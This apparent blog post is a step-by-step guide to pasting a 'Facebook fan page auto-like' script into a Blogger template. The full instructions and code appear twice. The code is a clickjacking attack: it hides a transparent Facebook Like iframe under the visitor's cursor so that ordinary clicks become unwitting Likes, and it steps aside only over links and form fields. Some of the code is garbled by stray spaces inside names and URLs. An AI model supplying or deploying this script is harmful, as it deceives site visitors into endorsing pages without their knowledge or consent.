How To Add fb Page Auto-like Script In Blogger . (page auto like webscript)
1.open ur blog Nw go to Blogger Dashboard > Template
2.Download a copy of your template
(Take Backup Of Your Template)
3.Click on Edit HTML
4.Hit Proceed button
5.Check Expand Widget Templates check box
6.Find Ctrl+F below code in your template
</head>
7.Now paste the below Code above it.
<script src=" http://ajax.googleapis.com/ /ajax/libs/jquery/1.5.2 /jquery.min.js"
type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
8.Now Search for :-
</body>
9.And then paste below code above it.
<!-- xyz.blogspot.com/ Fan Page Autolike Script Starts -->
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity =0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000;height: 13px; width: 15px;"></div>-->
<iframe src=" http://www.facebook.com/ /plugins/like.php?href= www.facebook.com/heshaggarwal&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" scrolling="no"frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button- wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack- button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hid er();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseo ut(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouse out(function(){ClickJackFbShow();});
jQuery("textarea").mou seout(function(){ClickJackFbShow();});
jQuery(".ratingblock").m ouseout(function(){ClickJackFbShow();});
jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseo ver(function(){ClickJackFbHide();});
jQuery("a").mouseover( function(){ClickJackFbHide();});
jQuery("button").mouse over(function(){ClickJackFbHide();});
jQuery("textarea").mou seover(function(){ClickJackFbHide();});
jQuery(".ratingblock").m ouseover(function(){ClickJackFbHide();});
jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
<!-- xyz.blogspot.com/ Fan Page Autolike Script Ends -->
10.Replace heshaggarwal With your Facebook Page's Username ...! And replace the xyz wid ur blog name
11. Save The Template
DONE..!
If u hv any prblm to use dis and u cnt do dis crctly add me. And for any other trick and any type of help add me nw
1.open ur blog Nw go to Blogger Dashboard > Template
2.Download a copy of your template
(Take Backup Of Your Template)
3.Click on Edit HTML
4.Hit Proceed button
5.Check Expand Widget Templates check box
6.Find Ctrl+F below code in your template
</head>
7.Now paste the below Code above it.
<script src=" http://ajax.googleapis.com/ /ajax/libs/jquery/1.5.2 /jquery.min.js"
type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
8.Now Search for :-
</body>
9.And then paste below code above it.
<!-- xyz.blogspot.com/ Fan Page Autolike Script Starts -->
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity =0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000;height: 13px; width: 15px;"></div>-->
<iframe src=" http://www.facebook.com/ /plugins/like.php?href= www.facebook.com/heshaggarwal&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" scrolling="no"frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button- wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack- button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hid er();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseo ut(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouse out(function(){ClickJackFbShow();});
jQuery("textarea").mou seout(function(){ClickJackFbShow();});
jQuery(".ratingblock").m ouseout(function(){ClickJackFbShow();});
jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseo ver(function(){ClickJackFbHide();});
jQuery("a").mouseover( function(){ClickJackFbHide();});
jQuery("button").mouse over(function(){ClickJackFbHide();});
jQuery("textarea").mou seover(function(){ClickJackFbHide();});
jQuery(".ratingblock").m ouseover(function(){ClickJackFbHide();});
jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
<!-- xyz.blogspot.com/ Fan Page Autolike Script Ends -->
10.Replace heshaggarwal With your Facebook Page's Username ...! And replace the xyz wid ur blog name
11. Save The Template
DONE..!
If u hv any prblm to use dis and u cnt do dis crctly add me. And for any other trick and any type of help add me nw
0 comments:
Post a Comment